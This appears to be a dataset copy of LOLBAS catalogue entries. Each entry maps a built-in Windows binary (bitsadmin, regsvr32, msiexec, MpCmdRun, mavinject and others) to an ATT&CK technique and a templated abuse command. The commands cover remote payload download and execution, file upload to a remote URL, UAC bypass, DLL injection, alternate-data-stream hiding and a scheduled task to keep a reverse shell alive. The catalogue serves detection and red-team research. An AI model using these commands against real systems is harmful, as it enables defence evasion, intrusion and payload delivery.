deardaniel/secdata-raw huggingface dataset:
LOLBAS — Living Off the Land: Unregmp2.exe
Author: Wade Hickey

Description:
Microsoft Windows Media Player Setup Utility

Technique — Proxy execution of binary:
  ATT&CK: T1202
  OS: Windows 10
  Command: rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"
LOLBAS — Living Off the Land: CertOC.exe
Author: Ensar Samil

Description:
Used for installing certificates

Technique — Execute code within DLL file:
  ATT&CK: T1218
  OS: Windows Server 2022
  Command: certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}

Technique — Download scripts, webshells etc.:
  ATT&CK: T1105
  OS: Windows Server 2022
  Command: certoc.exe -GetCACAPS {REMOTEURL:.ps1}
LOLBAS — Living Off the Land: Expand.exe
Author: Oddvar Moe

Description:
Binary that expands one or more compressed files

Technique — Use to copies the source file to the destination file:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat}

Technique — Copies files from A to B:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: expand {PATH_ABSOLUTE:.source.ext} {PATH_ABSOLUTE:.dest.ext}

Technique — Copies files from A to B:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: expand {PATH_SMB:.bat} {PATH_ABSOLUTE}:file.bat
LOLBAS — Living Off the Land: Bitsadmin.exe
Author: Oddvar Moe

Description:
Used for managing background intelligent transfer

Technique — Performs execution of specified file in the alternate data stream, can be used as a defensive evasion or persistence technique.:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1

Technique — Download file from Internet:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1

Technique — Copy file:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset

Technique — Execute binary file specified. Can be used as a defensive evasion.:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset
LOLBAS — Living Off the Land: Forfiles.exe
Author: Oddvar Moe

Description:
Selects and executes a command on a file or set of files. This command is useful for batch processing.

Technique — Use forfiles to start a new process to evade defensive counter measures:
  ATT&CK: T1202
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: forfiles /p c:\windows\system32 /m notepad.exe /c "{CMD}"

Technique — Use forfiles to start a new process from a binary hidden in an alternate data stream:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: forfiles /p c:\windows\system32 /m notepad.exe /c "{PATH_ABSOLUTE}:evil.exe"
LOLBAS — Living Off the Land: iscsicpl.exe
Author: Ekitji

Description:
Microsoft iSCSI Initiator Control Panel tool

Technique — Execute a custom DLL via a trusted high-integrity process without a UAC prompt.:
  ATT&CK: T1548.002
  OS: Windows 10, Windows 11
  Command: c:\windows\syswow64\iscsicpl.exe

Technique — Execute a binary or script as a high-integrity process without a UAC prompt.:
  ATT&CK: T1548.002
  OS: Windows 10, Windows 11
  Command: iscsicpl.exe
LOLBAS — Living Off the Land: MpCmdRun.exe
Author: Oddvar Moe

Description:
Binary part of Windows Defender. Used to manage settings in Windows Defender

Technique — Download file:
  ATT&CK: T1105
  OS: Windows 10
  Command: MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}

Technique — Download file:
  ATT&CK: T1105
  OS: Windows 10
  Command: copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exe

Technique — Hide downloaded data into an Alternate Data Stream:
  ATT&CK: T1564.004
  OS: Windows 10
  Command: MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe
LOLBAS — Living Off the Land: Mmc.exe
Author: @bohops

Description:
Load snap-ins to locally and remotely manage Windows systems

Technique — Configure a snap-in to load a COM custom class (CLSID) that has been added to the registry:
  ATT&CK: T1218.014
  OS: Windows 10 (and possibly earlier versions), Windows 11
  Command: mmc.exe -Embedding {PATH_ABSOLUTE:.msc}

Technique — Modify HKCU\Environment key in Registry with COR profiler values then launch MMC to load the payload DLL.:
  ATT&CK: T1218.014
  OS: Windows 10 (and possibly earlier versions), Windows 11
  Command: mmc.exe gpedit.msc

Technique — Download file from Internet:
  ATT&CK: T1218.014
  OS: Windows 10 (and possibly earlier versions), Windows 11
  Command: mmc.exe -Embedding {PATH_ABSOLUTE:.msc}
LOLBAS — Living Off the Land: winget.exe
Author: Paul Sanders

Description:
Windows Package Manager tool

Technique — Download and execute an arbitrary file from the internet:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: winget.exe install --manifest {PATH:.yml}

Technique — Download and install software from Microsoft Store, even if Microsoft Store App is blocked:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: winget.exe install --accept-package-agreements -s msstore {name or ID}

Technique — Download and install software from Microsoft Store, even if Microsoft Store App is blocked, and AppLocker is activated on the machine:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: winget.exe install --accept-package-agreements -s msstore {name or ID}
LOLBAS — Living Off the Land: Pcalua.exe
Author: Oddvar Moe

Description:
Program Compatibility Assistant

Technique — Proxy execution of binary:
  ATT&CK: T1202
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: pcalua.exe -a {PATH:.exe}

Technique — Proxy execution of remote dll file:
  ATT&CK: T1202
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: pcalua.exe -a {PATH_SMB:.dll}

Technique — Execution of CPL files:
  ATT&CK: T1202
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: pcalua.exe -a {PATH_ABSOLUTE:.cpl} -c Java
LOLBAS — Living Off the Land: Presentationhost.exe
Author: Oddvar Moe

Description:
File is used for executing Browser applications

Technique — Execute code within XBAP files:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: Presentationhost.exe {PATH_ABSOLUTE:.xbap}

Technique — Downloads payload from remote server:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: Presentationhost.exe {REMOTEURL}
LOLBAS — Living Off the Land: Regini.exe
Author: Oddvar Moe

Description:
Used to manipulate the registry

Technique — Write to registry:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regini.exe {PATH}:hidden.ini
LOLBAS — Living Off the Land: ConfigSecurityPolicy.exe
Author: Ialle Teixeira

Description:
Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.

Technique — Upload file:
  ATT&CK: T1567
  OS: Windows 10
  Command: ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}

Technique — Downloads payload from remote server:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: ConfigSecurityPolicy.exe {REMOTEURL}
LOLBAS — Living Off the Land: Print.exe
Author: Oddvar Moe

Description:
Used by Windows to send files to the printer

Technique — Hide binary file in alternate data stream to potentially bypass defensive counter measures:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}

Technique — Copy files:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}

Technique — Copy/Download file from remote server:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe}
LOLBAS — Living Off the Land: Msiexec.exe
Author: Oddvar Moe

Description:
Used by Windows to execute msi files

Technique — Execute custom made msi file with attack code:
  ATT&CK: T1218.007
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msiexec /quiet /i {PATH:.msi}

Technique — Execute custom made msi file with attack code from remote server:
  ATT&CK: T1218.007
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msiexec /q /i {REMOTEURL}

Technique — Execute dll files:
  ATT&CK: T1218.007
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msiexec /y {PATH_ABSOLUTE:.dll}

Technique — Execute dll files:
  ATT&CK: T1218.007
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msiexec /z {PATH_ABSOLUTE:.dll}

Technique — Install trusted and signed msi file, with additional attack code as transformation file, from a remote server:
  ATT&CK: T1218.007
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qb
LOLBAS — Living Off the Land: Scriptrunner.exe
Author: Oddvar Moe

Description:
Execute binary through proxy binary to evade defensive counter measures

Technique — Execute binary through proxy binary to evade defensive counter measures:
  ATT&CK: T1202
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: Scriptrunner.exe -appvscript {PATH:.exe}

Technique — Execute binary through proxy binary from external server to evade defensive counter measures:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: ScriptRunner.exe -appvscript {PATH_SMB:.cmd}
LOLBAS — Living Off the Land: Explorer.exe
Author: Jai Minton

Description:
Binary used for managing files and system components within Windows

Technique — Performs execution of specified file with explorer parent process breaking the process tree, can be used for defense evasion.:
  ATT&CK: T1202
  OS: Windows XP, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: explorer.exe /root,"{PATH_ABSOLUTE:.exe}"

Technique — Performs execution of specified file with explorer parent process breaking the process tree, can be used for defense evasion.:
  ATT&CK: T1202
  OS: Windows 10, Windows 11
  Command: explorer.exe {PATH_ABSOLUTE:.exe}
LOLBAS — Living Off the Land: Atbroker.exe
Author: Oddvar Moe

Description:
Helper binary for Assistive Technology (AT)

Technique — Executes code defined in registry for a new AT. Modifications must be made to the system registry to either register or modify an existing Assistive Technology (AT) service entry.:
  ATT&CK: T1218
  OS: Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: ATBroker.exe /start malware
LOLBAS — Living Off the Land: Dnscmd.exe
Author: Oddvar Moe

Description:
A command-line interface for managing DNS servers

Technique — Remotely inject dll to dns server:
  ATT&CK: T1543.003
  OS: Windows server
  Command: dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}
LOLBAS — Living Off the Land: CustomShellHost.exe
Author: Wietze Beukema

Description:
A host process that is used by custom shells when using Windows in Kiosk mode.

Technique — Can be used to evade defensive counter-measures:
  ATT&CK: T1218
  OS: Windows 10, Windows 11
  Command: CustomShellHost.exe
LOLBAS — Living Off the Land: Ieexec.exe
Author: Oddvar Moe

Description:
The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

Technique — Download and run attacker code from remote location:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: ieexec.exe {REMOTEURL:.exe}

Technique — Download and run attacker code from remote location:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: ieexec.exe {REMOTEURL:.exe}
LOLBAS — Living Off the Land: wbemtest.exe
Author: saulpanders

Description:
WMI/WBEM Test Binary

Technique — Execute arbitrary commands through WMI classes:
  ATT&CK: T1047
  OS: Windows 10, Windows 11
  Command: wbemtest.exe
LOLBAS — Living Off the Land: Gpscript.exe
Author: Oddvar Moe

Description:
Used by group policy to process scripts

Technique — Add local group policy logon script to execute file and hide from defensive counter measures:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: Gpscript /logon

Technique — Add local group policy logon script to execute file and hide from defensive counter measures:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: Gpscript /startup
LOLBAS — Living Off the Land: Msdt.exe
Author: Oddvar Moe

Description:
Microsoft diagnostics tool

Technique — Execute code:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

Technique — Execute code bypass Application whitelisting:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

Technique — Execute code bypass Application allowlisting:
  ATT&CK: T1202
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"
LOLBAS — Living Off the Land: Hh.exe
Author: Oddvar Moe

Description:
Binary used for processing chm files in Windows

Technique — Download files from url:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: HH.exe {REMOTEURL:.bat}

Technique — Execute process with HH.exe:
  ATT&CK: T1218.001
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: HH.exe {PATH_ABSOLUTE:.exe}

Technique — Execute commands with HH.exe:
  ATT&CK: T1218.001
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: HH.exe {REMOTEURL:.chm}
LOLBAS — Living Off the Land: Colorcpl.exe
Author: Arjan Onwezen

Description:
Binary that handles color management

Technique — Copies file(s) to a subfolder of a generally trusted folder (c:\Windows\System32), which can be used to hide files or make them blend into the environment.:
  ATT&CK: T1036.005
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: colorcpl {PATH}
LOLBAS — Living Off the Land: Regsvr32.exe
Author: Oddvar Moe

Description:
Used by Windows to register dlls

Technique — Execute code from remote scriptlet, bypass Application whitelisting:
  ATT&CK: T1218.010
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll

Technique — Execute code from scriptlet, bypass Application whitelisting:
  ATT&CK: T1218.010
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll

Technique — Execute code from remote scriptlet, bypass Application whitelisting:
  ATT&CK: T1218.010
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll

Technique — Execute code from scriptlet, bypass Application whitelisting:
  ATT&CK: T1218.010
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll

Technique — Execute DLL file:
  ATT&CK: T1218.010
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regsvr32.exe /s {PATH:.dll}
LOLBAS — Living Off the Land: Mavinject.exe
Author: Oddvar Moe

Description:
Used by App-v in Windows

Technique — Inject dll file into running process:
  ATT&CK: T1218.013
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: MavInject.exe 3110 /INJECTRUNNING {PATH_ABSOLUTE:.dll}

Technique — Inject dll file into running process:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: Mavinject.exe 4172 /INJECTRUNNING {PATH_ABSOLUTE}:file.dll
LOLBAS — Living Off the Land: Schtasks.exe
Author: Oddvar Moe

Description:
Schedule periodic tasks

Technique — Create a recurring task to keep reverse shell session(s) alive:
  ATT&CK: T1053.005
  OS: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr "{CMD}"

Technique — Create a remote task to run daily relative to the the time of creation:
  ATT&CK: T1053.005
  OS: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: schtasks /create /s targetmachine /tn "MyTask" /tr "{CMD}" /sc daily
LOLBAS — Living Off the Land: msedgewebview2.exe
Author: Matan Bahar

Description:
msedgewebview2.exe is the executable file for Microsoft Edge WebView2, which is a web browser control used by applications to display web content.

Technique — Proxy execution of binary:
  ATT&CK: T1218.015
  OS: Windows 10, Windows 11
  Command: msedgewebview2.exe --no-sandbox --browser-subprocess-path="{PATH_ABSOLUTE:.exe}"

Technique — Proxy execution of binary:
  ATT&CK: T1218.015
  OS: Windows 10, Windows 11
  Command: msedgewebview2.exe --utility-cmd-prefix="{CMD}"

Technique — Proxy execution of binary:
  ATT&CK: T1218.015
  OS: Windows 10, Windows 11
  Command: msedgewebview2.exe --disable-gpu-sandbox --gpu-launcher="{CMD}"

Technique — Proxy execution of binary:
  ATT&CK: T1218.015
  OS: Windows 10, Windows 11
  Command: msedgewebview2.exe --no-sandbox --renderer-cmd-prefix="{CMD}"
LOLBAS — Living Off the Land: Pcwrun.exe
Author: Oddvar Moe

Description:
Program Compatibility Wizard

Technique — Proxy execution of binary:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: Pcwrun.exe {PATH_ABSOLUTE:.exe}

Technique — Proxy execution of binary:
  ATT&CK: T1202
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: Pcwrun.exe /../../$(calc).exe
LOLBAS — Living Off the Land: Extrac32.exe
Author: Oddvar Moe

Description:
Extract to ADS, copy or overwrite a file with Extrac32.exe

Technique — Extract data from cab file and hide it in an alternate data stream.:
  ATT&CK: T1564.004
  OS: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe

Technique — Extract data from cab file and hide it in an alternate data stream.:
  ATT&CK: T1564.004
  OS: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe

Technique — Download file from UNC/WEBDav:
  ATT&CK: T1105
  OS: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: extrac32 /Y /C {PATH_SMB} {PATH_ABSOLUTE}

Technique — Copy file:
  ATT&CK: T1105
  OS: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: extrac32.exe /C {PATH_ABSOLUTE:.source.exe} {PATH_ABSOLUTE:.dest.exe}
LOLBAS — Living Off the Land: Regsvcs.exe
Author: Oddvar Moe

Description:
Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies

Technique — Execute dll file and bypass Application whitelisting:
  ATT&CK: T1218.009
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regsvcs.exe {PATH:.dll}

Technique — Execute dll file and bypass Application whitelisting:
  ATT&CK: T1218.009
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regsvcs.exe {PATH:.dll}
LOLBAS — Living Off the Land: Regasm.exe
Author: Oddvar Moe

Description:
Part of .NET

Technique — Execute code and bypass Application whitelisting:
  ATT&CK: T1218.009
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regasm.exe {PATH:.dll}

Technique — Execute code and bypass Application whitelisting:
  ATT&CK: T1218.009
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regasm.exe /U {PATH:.dll}
LOLBAS — Living Off the Land: wt.exe
Author: Nasreddine Bencherchali

Description:
Windows Terminal

Technique — Use wt.exe as a proxy binary to evade defensive counter-measures:
  ATT&CK: T1202
  OS: Windows 11
  Command: wt.exe {CMD}
LOLBAS — Living Off the Land: Extexport.exe
Author: Oddvar Moe

Description:
Load a DLL located in the c:\test folder with a specific name.

Technique — Execute dll file:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: Extexport.exe {PATH_ABSOLUTE:folder} foo bar
LOLBAS — Living Off the Land: Replace.exe
Author: Oddvar Moe

Description:
Used to replace file with another file

Technique — Copy files:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /A

Technique — Download file:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: replace.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:folder} /A
LOLBAS — Living Off the Land: odbcad32.exe
Author: Ekitji

Description:
ODBC Data Source Administrator to manage User/System DSNs and ODBC drivers.

Technique — Execute a binary as a high-integrity process without a UAC prompt.:
  ATT&CK: T1548.002
  OS: Windows 10, Windows 11
  Command: odbcad32.exe